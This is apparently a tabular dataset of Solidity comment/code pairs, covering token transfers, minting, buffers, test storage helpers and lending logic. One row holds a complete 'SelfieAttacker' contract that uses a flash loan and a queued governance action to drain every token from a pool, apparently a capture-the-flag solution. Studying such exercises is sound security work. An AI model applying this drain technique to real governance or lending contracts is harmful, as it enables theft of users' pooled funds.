Unnamed: 0
int64 0
7.36k
| comments
stringlengths 3
35.2k
| code_string
stringlengths 1
527k
| code
stringlengths 1
527k
| __index_level_0__
int64 0
88.6k
|
|---|---|---|---|---|
98
|
// Appends a byte to the buffer. Resizes if doing so would exceed thecapacity of the buffer.buf The buffer to append to.data The data to append. return The original buffer, for chaining./
|
function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) {
return writeUint8(buf, buf.buf.length, data);
}
|
function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) {
return writeUint8(buf, buf.buf.length, data);
}
| 4,999
|
88
|
// Address of the Uniswap liquidity pair (token)
|
IUniswapV2Pair public liquidityToken;
|
IUniswapV2Pair public liquidityToken;
| 33,421
|
131
|
// Mints `tokenId` and transfers it to `to`.
|
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
|
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
| 5,633
|
14
|
// SlowDump Limit
|
uint256 public slowDump = 100e18;
|
uint256 public slowDump = 100e18;
| 21,399
|
6
|
// Allows deposit ERC20 token towiseLending and takes token amount asargument. /
|
function depositExactAmount(
uint256 _nftId,
address _underlyingAsset,
uint256 _amount
)
public
syncPool(_underlyingAsset)
returns (uint256)
|
function depositExactAmount(
uint256 _nftId,
address _underlyingAsset,
uint256 _amount
)
public
syncPool(_underlyingAsset)
returns (uint256)
| 15,811
|
47
|
// transfer koala token owner to new owner for fair launch update
|
function transferKoalaOwner(address new_owner) external onlyOwner {
require(new_owner != address(0), "invalid new owner");
koala.transferOwnership(new_owner);
}
|
function transferKoalaOwner(address new_owner) external onlyOwner {
require(new_owner != address(0), "invalid new owner");
koala.transferOwnership(new_owner);
}
| 47,768
|
100
|
// SafeCheckToken More secure functionality. /
|
contract SafeCheckToken is PausableToken {
function transfer(address _to, uint256 _value) public returns (bool) {
// Do not send tokens to this contract
require(_to != address(this));
// Check Short Address
require(msg.data.length >= 68);
// Check Value is not zero
require(_value != 0);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// Do not send tokens to this contract
require(_to != address(this));
// Check Short Address
require(msg.data.length >= 68);
// Check Address from is not zero
require(_from != address(0));
// Check Value is not zero
require(_value != 0);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
// Check Short Address
require(msg.data.length >= 68);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
// Check Short Address
require(msg.data.length >= 68);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
// Check Short Address
require(msg.data.length >= 68);
return super.decreaseApproval(_spender, _subtractedValue);
}
function burn(uint256 _value) public {
// Check Value is not zero
require(_value != 0);
super.burn( _value);
}
function burnFrom(address _from, uint256 _value) public {
// Check Short Address
require(msg.data.length >= 68);
// Check Value is not zero
require(_value != 0);
super.burnFrom( _from, _value);
}
}
|
contract SafeCheckToken is PausableToken {
function transfer(address _to, uint256 _value) public returns (bool) {
// Do not send tokens to this contract
require(_to != address(this));
// Check Short Address
require(msg.data.length >= 68);
// Check Value is not zero
require(_value != 0);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// Do not send tokens to this contract
require(_to != address(this));
// Check Short Address
require(msg.data.length >= 68);
// Check Address from is not zero
require(_from != address(0));
// Check Value is not zero
require(_value != 0);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
// Check Short Address
require(msg.data.length >= 68);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
// Check Short Address
require(msg.data.length >= 68);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
// Check Short Address
require(msg.data.length >= 68);
return super.decreaseApproval(_spender, _subtractedValue);
}
function burn(uint256 _value) public {
// Check Value is not zero
require(_value != 0);
super.burn( _value);
}
function burnFrom(address _from, uint256 _value) public {
// Check Short Address
require(msg.data.length >= 68);
// Check Value is not zero
require(_value != 0);
super.burnFrom( _from, _value);
}
}
| 19,241
|
48
|
// Check we are still in the crowdsale period
|
require(block.timestamp >= START_DATE && block.timestamp <= END_DATE);
|
require(block.timestamp >= START_DATE && block.timestamp <= END_DATE);
| 5,537
|
115
|
// cancels crowdsale
|
function stop() public onlyOwner() hasntStopped() {
// we can stop only not started and not completed crowdsale
if (started) {
require(!isFailed());
require(!isSuccessful());
}
stopped = true;
}
|
function stop() public onlyOwner() hasntStopped() {
// we can stop only not started and not completed crowdsale
if (started) {
require(!isFailed());
require(!isSuccessful());
}
stopped = true;
}
| 47,127
|
200
|
// Modify record mutableStorage1 data /
|
function modifyMutableStorage(
bytes32 _idxHash,
bytes32 _mutableStorage1,
bytes32 _mutableStorage2
) external;
|
function modifyMutableStorage(
bytes32 _idxHash,
bytes32 _mutableStorage1,
bytes32 _mutableStorage2
) external;
| 5,445
|
1
|
// the time of last payout // Array of depositors // PUBLIC FUNCTIONS // contract constructor /
|
{
contract_latestPayoutTime = now;
}
|
{
contract_latestPayoutTime = now;
}
| 37,807
|
127
|
// round 57
|
ark(i, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544);
sbox_full(i, q);
mix(i, q);
return i.t0;
|
ark(i, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544);
sbox_full(i, q);
mix(i, q);
return i.t0;
| 28,320
|
145
|
// insufficient liquidity swapfor a given currency and a given balance. curr Currency Asset to buy maxIACurr Investment Asset to sell amount Amount of Investment Asset to sell /
|
function _externalInsufficientLiquiditySwap(
bytes4 curr,
bytes4 maxIACurr,
uint256 amount
)
internal
returns (bool trigger)
|
function _externalInsufficientLiquiditySwap(
bytes4 curr,
bytes4 maxIACurr,
uint256 amount
)
internal
returns (bool trigger)
| 12,789
|
54
|
// Safely mints `tokenId` and transfers it to `to`. Requirements: - `tokenId` must not exist.
|
* - If `to` refers to a smart contract, it must implement {ISBTReceiver-onSBTReceived}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
|
* - If `to` refers to a smart contract, it must implement {ISBTReceiver-onSBTReceived}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
| 7,345
|
260
|
// Returns the memory address of the first byte after the last occurrence of `needle` in `self`, or the address of `self` if not found.
|
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
|
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
| 44,568
|
11
|
// See {IERC20-transfer}. /
|
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
|
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
| 31,373
|
48
|
// Internal transfer, only can be called by this contract/
|
function _transfer(address _from, address _to, uint256 value) internal {
require(_from != address(0), "ERC20: transfer to the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");
require(value > 0, "ERC20: value must be bigger than zero");
require(value <= _balances[_from], "ERC20: balances from must be bigger than transfer amount");
require(_balances[_to] < _balances[_to] + value, "ERC20: value must be bigger than zero");
_balances[_from] = _balances[_from].sub(value);
_balances[_to] = _balances[_to].add(value);
emit Transfer(_from, _to, value);
}
|
function _transfer(address _from, address _to, uint256 value) internal {
require(_from != address(0), "ERC20: transfer to the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");
require(value > 0, "ERC20: value must be bigger than zero");
require(value <= _balances[_from], "ERC20: balances from must be bigger than transfer amount");
require(_balances[_to] < _balances[_to] + value, "ERC20: value must be bigger than zero");
_balances[_from] = _balances[_from].sub(value);
_balances[_to] = _balances[_to].add(value);
emit Transfer(_from, _to, value);
}
| 44,299
|
4
|
// SelfieAttacker Jonatas Campos Martins The main idea is to create an action passing a data that get all tokens from the pool and thensend the tokens to the attacker /
|
contract SelfieAttacker {
ERC20Snapshot private token;
SelfiePool private selfiePool;
SimpleGovernance private simpleGovernance;
uint256 private actionId;
constructor(
address _token,
address _selfiePool,
address _simpleGovernance
) {
token = ERC20Snapshot(_token);
selfiePool = SelfiePool(_selfiePool);
simpleGovernance = SimpleGovernance(_simpleGovernance);
}
function queuAttack() external {
uint256 balancePool = token.balanceOf(address(selfiePool));
selfiePool.flashLoan(balancePool);
}
/**
* @dev this function get the flashloan and queue an action in the governance contract
*/
function receiveTokens(address _token, uint256 _amount) external {
bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
address(this)
);
DamnValuableTokenSnapshot tokenSnapshot = DamnValuableTokenSnapshot(
_token
);
tokenSnapshot.snapshot();
actionId = simpleGovernance.queueAction(address(selfiePool), data, 0);
token.transfer(address(selfiePool), _amount);
}
/**
* @dev after delay execute the attack getting all the tokens from pool
*/
function executeAttack() external {
simpleGovernance.executeAction(actionId);
uint256 total = token.balanceOf(address(this));
token.transfer(msg.sender, total);
}
}
|
contract SelfieAttacker {
ERC20Snapshot private token;
SelfiePool private selfiePool;
SimpleGovernance private simpleGovernance;
uint256 private actionId;
constructor(
address _token,
address _selfiePool,
address _simpleGovernance
) {
token = ERC20Snapshot(_token);
selfiePool = SelfiePool(_selfiePool);
simpleGovernance = SimpleGovernance(_simpleGovernance);
}
function queuAttack() external {
uint256 balancePool = token.balanceOf(address(selfiePool));
selfiePool.flashLoan(balancePool);
}
/**
* @dev this function get the flashloan and queue an action in the governance contract
*/
function receiveTokens(address _token, uint256 _amount) external {
bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
address(this)
);
DamnValuableTokenSnapshot tokenSnapshot = DamnValuableTokenSnapshot(
_token
);
tokenSnapshot.snapshot();
actionId = simpleGovernance.queueAction(address(selfiePool), data, 0);
token.transfer(address(selfiePool), _amount);
}
/**
* @dev after delay execute the attack getting all the tokens from pool
*/
function executeAttack() external {
simpleGovernance.executeAction(actionId);
uint256 total = token.balanceOf(address(this));
token.transfer(msg.sender, total);
}
}
| 54,218
|
84
|
// Pay fees
|
_payFees(address(this), IERC20(quote.inputToken), _referrer, quote.fee, quote.feeReferrer, quote.inputDecimals);
uint256 profit = quote.output.sub(tokenAmountUsed);
|
_payFees(address(this), IERC20(quote.inputToken), _referrer, quote.fee, quote.feeReferrer, quote.inputDecimals);
uint256 profit = quote.output.sub(tokenAmountUsed);
| 37,963
|
34
|
// Get debt issuance module registered to this module and require that it is initialized
|
require(_setToken.isInitializedModule(getAndValidateAdapter(DEFAULT_ISSUANCE_MODULE_NAME)), "Issuance not initialized");
|
require(_setToken.isInitializedModule(getAndValidateAdapter(DEFAULT_ISSUANCE_MODULE_NAME)), "Issuance not initialized");
| 9,969
|
29
|
// Fee to be paid when registering oracle
|
uint256 public constant REGISTRATION_FEE = 1 ether;
|
uint256 public constant REGISTRATION_FEE = 1 ether;
| 43,642
|
5
|
// this disables all previous initializers
|
_disableInitializers();
|
_disableInitializers();
| 10,838
|
89
|
// balance threshold of SYA tokens which actives feeless swapping
|
uint256 public balanceThreshold;
|
uint256 public balanceThreshold;
| 8,035
|
146
|
// If allowance is not 2256 - 1, consume allowance
|
if (allowanceFrom != uint(-1)) {
|
if (allowanceFrom != uint(-1)) {
| 1,510
|
585
|
// Admin Functions /
|
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
|
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
| 23,099
|
135
|
// Returns a fraction roughly equaling E^((1/2)^x) for integer x /
|
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
|
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
| 35,106
|
2
|
// token address
|
address tokenAddress;
|
address tokenAddress;
| 31,806
|
40
|
// Checks whether the cap has been reached. return Whether the cap was reached/
|
function capReached() public view returns (bool) {
return tokensSold >= cap;
}
|
function capReached() public view returns (bool) {
return tokensSold >= cap;
}
| 3,922
|
10
|
// transferir para alguém uma quantidade de MWH certificada
|
function transfer(address certificationAddr, address to, uint16 mwh) public returns (bool success) {
EnergyCert cert = EnergyCert(certificationAddr); // referencia do certificado
if ( cert.owner == msg.sender ) // o dono do certificado deve ser o requerente
return false;
if ( to == 0x0 ) // o recebedor deve existir
return false;
if ( mwh == 0 ) // não tem porque transferir 0
return false;
if( mwh > cert.availableMwh ) // o valor a ser transferido deve ser maior que o valor disponível
return false;
// guarda os valores do certificado atual
available = cert.availableMwh;
used = cert.usedMwh;
cert.remove(); // destrói certificado antigo
new EnergyCert(certifier, msg.sender, available - mwh, used); // cria um certificado novo deduzindo que foi transferido
new EnergyCert(certifier, to, mwh, 0); // cria um certificado novo para o recebedor com a quantidade indicada
return true;
}
|
function transfer(address certificationAddr, address to, uint16 mwh) public returns (bool success) {
EnergyCert cert = EnergyCert(certificationAddr); // referencia do certificado
if ( cert.owner == msg.sender ) // o dono do certificado deve ser o requerente
return false;
if ( to == 0x0 ) // o recebedor deve existir
return false;
if ( mwh == 0 ) // não tem porque transferir 0
return false;
if( mwh > cert.availableMwh ) // o valor a ser transferido deve ser maior que o valor disponível
return false;
// guarda os valores do certificado atual
available = cert.availableMwh;
used = cert.usedMwh;
cert.remove(); // destrói certificado antigo
new EnergyCert(certifier, msg.sender, available - mwh, used); // cria um certificado novo deduzindo que foi transferido
new EnergyCert(certifier, to, mwh, 0); // cria um certificado novo para o recebedor com a quantidade indicada
return true;
}
| 41,655
|
35
|
// Calls generateLongterm() function to generate USDP for collateral. _borrowID borrower id borrower want to generate.return bool true. /
|
function generateLongterm( uint _borrowID) public returns (bool){
require(borrow[_borrowID].borrower == borrower[msg.sender].identity, "generateLongterm: Invalid collateral access");
require(borrow[_borrowID].quarters > 0, "generateLongterm: Quarters should not be zero if borrow choose longterm");
require(borrow[_borrowID].isCollateralExist == 1, "generateLongterm: Paid collateral, unable to generate more mining");
uint currentTime = block.timestamp;
if(block.timestamp > borrow[_borrowID].cPeriod){ currentTime = borrow[_borrowID].cPeriod; }
uint _rePaymentMnth = currentTime.sub(borrow[_borrowID].cWithdrawn).div(1 days);
uint calculate_extra = _calculateUSDPForCollateral( borrow[_borrowID].collateral);
calculate_extra = _calculateLUCAXToUSDP( calculate_extra);
calculate_extra = calculate_extra.add(((calculate_extra.mul(longBorrowExtras).div(100)).mul(borrow[_borrowID].quarters)));
calculate_extra = calculate_extra.div(borrow[_borrowID].quarters);
if((calculate_extra == 0) && (_rePaymentMnth < 30)) { revert("generateLongterm: Month is not calculated"); }
uint extra_mnth = _rePaymentMnth.div(30);
uint _mined = _calculateLUCAXToUSDP( calculate_extra.mul(extra_mnth));
USDP.mint( msg.sender, _mined);
require(borrower[msg.sender].ceiling.add(_mined) <= debtCeiling, "generateLongterm: Debt reached the ceiling");
borrower[msg.sender].ceiling = borrower[msg.sender].ceiling.add(_mined);
borrow[_borrowID].cUSDP = borrow[_borrowID].cUSDP.add(_mined);
_rePaymentMnth = _rePaymentMnth.sub(uint(30).mul(extra_mnth), "SafeMath: Overflow occured, Cannot able to reduce extras in a month");
borrow[_borrowID].cWithdrawn = uint40(currentTime.sub(uint(1 days).mul(_rePaymentMnth), "SafeMath: Overflow occured, Unable to reduce extra month time stamp"));
emit GenerateLongTermEvent( msg.sender, borrower[msg.sender].identity, _borrowID, _mined, now);
return true;
}
|
function generateLongterm( uint _borrowID) public returns (bool){
require(borrow[_borrowID].borrower == borrower[msg.sender].identity, "generateLongterm: Invalid collateral access");
require(borrow[_borrowID].quarters > 0, "generateLongterm: Quarters should not be zero if borrow choose longterm");
require(borrow[_borrowID].isCollateralExist == 1, "generateLongterm: Paid collateral, unable to generate more mining");
uint currentTime = block.timestamp;
if(block.timestamp > borrow[_borrowID].cPeriod){ currentTime = borrow[_borrowID].cPeriod; }
uint _rePaymentMnth = currentTime.sub(borrow[_borrowID].cWithdrawn).div(1 days);
uint calculate_extra = _calculateUSDPForCollateral( borrow[_borrowID].collateral);
calculate_extra = _calculateLUCAXToUSDP( calculate_extra);
calculate_extra = calculate_extra.add(((calculate_extra.mul(longBorrowExtras).div(100)).mul(borrow[_borrowID].quarters)));
calculate_extra = calculate_extra.div(borrow[_borrowID].quarters);
if((calculate_extra == 0) && (_rePaymentMnth < 30)) { revert("generateLongterm: Month is not calculated"); }
uint extra_mnth = _rePaymentMnth.div(30);
uint _mined = _calculateLUCAXToUSDP( calculate_extra.mul(extra_mnth));
USDP.mint( msg.sender, _mined);
require(borrower[msg.sender].ceiling.add(_mined) <= debtCeiling, "generateLongterm: Debt reached the ceiling");
borrower[msg.sender].ceiling = borrower[msg.sender].ceiling.add(_mined);
borrow[_borrowID].cUSDP = borrow[_borrowID].cUSDP.add(_mined);
_rePaymentMnth = _rePaymentMnth.sub(uint(30).mul(extra_mnth), "SafeMath: Overflow occured, Cannot able to reduce extras in a month");
borrow[_borrowID].cWithdrawn = uint40(currentTime.sub(uint(1 days).mul(_rePaymentMnth), "SafeMath: Overflow occured, Unable to reduce extra month time stamp"));
emit GenerateLongTermEvent( msg.sender, borrower[msg.sender].identity, _borrowID, _mined, now);
return true;
}
| 22,931
|
60
|
// Tell us invest was success
|
Invested(receiver, msg.value, tokensAmount);
token.mintToken(receiver, tokensAmount);
|
Invested(receiver, msg.value, tokensAmount);
token.mintToken(receiver, tokensAmount);
| 23,507
|
4
|
// This function create new token depending on his standardname Name of the future tokensymbol Symbol of the future tokendecimals The quantity of the future token decimalstotalSupply The number of coins/
|
function deploy(
string memory name,
string memory symbol,
uint8 decimals,
uint totalSupply,
address
)
public
onlyTokensFactory(msg.sender)
returns (address)
|
function deploy(
string memory name,
string memory symbol,
uint8 decimals,
uint totalSupply,
address
)
public
onlyTokensFactory(msg.sender)
returns (address)
| 10,289
|
6
|
// find an arbitrary storage slot given a function sig, input data, address of the contract and a value to check against slot complexity:if flat, will be bytes32(uint256(uint));if map, will be keccak256(abi.encode(key, uint(slot)));if deep map, will be keccak256(abi.encode(key1, keccak256(abi.encode(key0, uint(slot)))));if map struct, will be bytes32(uint256(keccak256(abi.encode(key1, keccak256(abi.encode(key0, uint(slot)))))) + structFieldDepth);
|
function find(StdStorage storage self) internal returns (uint256) {
address who = self._target;
bytes4 fsig = self._sig;
uint256 field_depth = self._depth;
bytes32[] memory ins = self._keys;
// calldata to test against
if (self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))]) {
return self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))];
}
bytes memory cald = abi.encodePacked(fsig, flatten(ins));
vm.record();
bytes32 fdat;
{
(, bytes memory rdat) = who.staticcall(cald);
fdat = bytesToBytes32(rdat, 32 * field_depth);
}
(bytes32[] memory reads,) = vm.accesses(address(who));
if (reads.length == 1) {
bytes32 curr = vm.load(who, reads[0]);
if (curr == bytes32(0)) {
emit WARNING_UninitedSlot(who, uint256(reads[0]));
}
if (fdat != curr) {
require(
false,
"stdStorage find(StdStorage): Packed slot. This would cause dangerous overwriting and currently isn't supported."
);
}
emit SlotFound(who, fsig, keccak256(abi.encodePacked(ins, field_depth)), uint256(reads[0]));
self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = uint256(reads[0]);
self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = true;
} else if (reads.length > 1) {
for (uint256 i = 0; i < reads.length; i++) {
bytes32 prev = vm.load(who, reads[i]);
if (prev == bytes32(0)) {
emit WARNING_UninitedSlot(who, uint256(reads[i]));
}
// store
vm.store(who, reads[i], bytes32(hex"1337"));
bool success;
bytes memory rdat;
{
(success, rdat) = who.staticcall(cald);
fdat = bytesToBytes32(rdat, 32 * field_depth);
}
if (success && fdat == bytes32(hex"1337")) {
// we found which of the slots is the actual one
emit SlotFound(who, fsig, keccak256(abi.encodePacked(ins, field_depth)), uint256(reads[i]));
self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = uint256(reads[i]);
self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = true;
vm.store(who, reads[i], prev);
break;
}
vm.store(who, reads[i], prev);
}
} else {
revert("stdStorage find(StdStorage): No storage use detected for target.");
}
require(
self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))],
"stdStorage find(StdStorage): Slot(s) not found."
);
delete self._target;
delete self._sig;
delete self._keys;
delete self._depth;
return self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))];
}
|
function find(StdStorage storage self) internal returns (uint256) {
address who = self._target;
bytes4 fsig = self._sig;
uint256 field_depth = self._depth;
bytes32[] memory ins = self._keys;
// calldata to test against
if (self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))]) {
return self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))];
}
bytes memory cald = abi.encodePacked(fsig, flatten(ins));
vm.record();
bytes32 fdat;
{
(, bytes memory rdat) = who.staticcall(cald);
fdat = bytesToBytes32(rdat, 32 * field_depth);
}
(bytes32[] memory reads,) = vm.accesses(address(who));
if (reads.length == 1) {
bytes32 curr = vm.load(who, reads[0]);
if (curr == bytes32(0)) {
emit WARNING_UninitedSlot(who, uint256(reads[0]));
}
if (fdat != curr) {
require(
false,
"stdStorage find(StdStorage): Packed slot. This would cause dangerous overwriting and currently isn't supported."
);
}
emit SlotFound(who, fsig, keccak256(abi.encodePacked(ins, field_depth)), uint256(reads[0]));
self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = uint256(reads[0]);
self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = true;
} else if (reads.length > 1) {
for (uint256 i = 0; i < reads.length; i++) {
bytes32 prev = vm.load(who, reads[i]);
if (prev == bytes32(0)) {
emit WARNING_UninitedSlot(who, uint256(reads[i]));
}
// store
vm.store(who, reads[i], bytes32(hex"1337"));
bool success;
bytes memory rdat;
{
(success, rdat) = who.staticcall(cald);
fdat = bytesToBytes32(rdat, 32 * field_depth);
}
if (success && fdat == bytes32(hex"1337")) {
// we found which of the slots is the actual one
emit SlotFound(who, fsig, keccak256(abi.encodePacked(ins, field_depth)), uint256(reads[i]));
self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = uint256(reads[i]);
self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))] = true;
vm.store(who, reads[i], prev);
break;
}
vm.store(who, reads[i], prev);
}
} else {
revert("stdStorage find(StdStorage): No storage use detected for target.");
}
require(
self.finds[who][fsig][keccak256(abi.encodePacked(ins, field_depth))],
"stdStorage find(StdStorage): Slot(s) not found."
);
delete self._target;
delete self._sig;
delete self._keys;
delete self._depth;
return self.slots[who][fsig][keccak256(abi.encodePacked(ins, field_depth))];
}
| 30,823
|
88
|
// Store the number of recipients
|
uint256 totalRecipients = recipients.length;
|
uint256 totalRecipients = recipients.length;
| 26,983
|
33
|
// Ensure blending token price has not increased while transaction was pending
|
require(_blendingPrice >= blendingToken.blendingPrice, "Blending price has increased");
|
require(_blendingPrice >= blendingToken.blendingPrice, "Blending price has increased");
| 34,910
|
34
|
// Migrate Leader Prices /
|
function migratePriceLeader(uint8 _leaderIndex, address _leaderAddress, uint256 _leaderPrice) public onlyOwner onlyDuringMigration {
require(_leaderIndex >= 0 && _leaderIndex < maxLeaders);
_highestPrices[_leaderIndex].owner = _leaderAddress;
_highestPrices[_leaderIndex].price = _leaderPrice;
if (_leaderIndex == maxLeaders-1) {
_lowestHighPrice = _leaderPrice;
}
}
|
function migratePriceLeader(uint8 _leaderIndex, address _leaderAddress, uint256 _leaderPrice) public onlyOwner onlyDuringMigration {
require(_leaderIndex >= 0 && _leaderIndex < maxLeaders);
_highestPrices[_leaderIndex].owner = _leaderAddress;
_highestPrices[_leaderIndex].price = _leaderPrice;
if (_leaderIndex == maxLeaders-1) {
_lowestHighPrice = _leaderPrice;
}
}
| 17,996
|
93
|
// Ensures the caller is authorized to upgrade the contract/This function is called in `upgradeTo` & `upgradeToAndCall`/_newImpl The new implementation address
|
function _authorizeUpgrade(address _newImpl) internal view override onlyAdmin(CONTRACT_BASE_ID) {
if (!factory.isRegisteredUpgradePath(_getImplementation(), _newImpl)) {
revert();
}
}
|
function _authorizeUpgrade(address _newImpl) internal view override onlyAdmin(CONTRACT_BASE_ID) {
if (!factory.isRegisteredUpgradePath(_getImplementation(), _newImpl)) {
revert();
}
}
| 11,169
|
22
|
// Redeem `dTokensToBurn` dTokens from `msg.sender`, use thecorresponding cTokens to redeem the required underlying, and transfer theredeemed underlying tokens to `msg.sender`. dTokensToBurn uint256 The amount of dTokens to provide in exchangefor underlying tokens.return The amount of underlying received in return for the provideddTokens. /
|
function redeem(
uint256 dTokensToBurn
|
function redeem(
uint256 dTokensToBurn
| 50,052
|
6
|
// Pauses all token migrations./Only users with the 'DEFAULT_ADMIN_ROLE' are allowed to call this function.
|
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
|
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
| 26,108
|
135
|
// Internal function that burns an amount of the token of a given account./ Update magnifiedDividendCorrections to keep dividends unchanged./account The account whose tokens will be burnt./value The amount that will be burnt.
|
function _burn(address account, uint256 value) internal override {
super._burn(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[
account
].add((magnifiedDividendPerShare.mul(value)).toInt256Safe());
}
|
function _burn(address account, uint256 value) internal override {
super._burn(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[
account
].add((magnifiedDividendPerShare.mul(value)).toInt256Safe());
}
| 1,112
|
87
|
// update trx count
|
addressToTrxCount[_to]++;
|
addressToTrxCount[_to]++;
| 39,192
|
4
|
// Call multiple contracts with the provided arbitrary data contracts The contracts to call data The data to call the contracts withreturn results The raw result of the contract calls /
|
function call(address[] calldata contracts, bytes[] calldata data) external view returns (Result[] memory results) {
return call(contracts, data, gasleft());
}
|
function call(address[] calldata contracts, bytes[] calldata data) external view returns (Result[] memory results) {
return call(contracts, data, gasleft());
}
| 11,073
|
44
|
// Tells whether an operator is approved by a given owner owner owner address which you want to query the approval of operator operator address which you want to query the approval ofreturn bool whether the given operator is approved by the given owner /
|
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
|
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
| 30,798
|
97
|
// The identifier of the role which allows special transfer privileges.
|
bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER");
|
bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER");
| 45,354
|
61
|
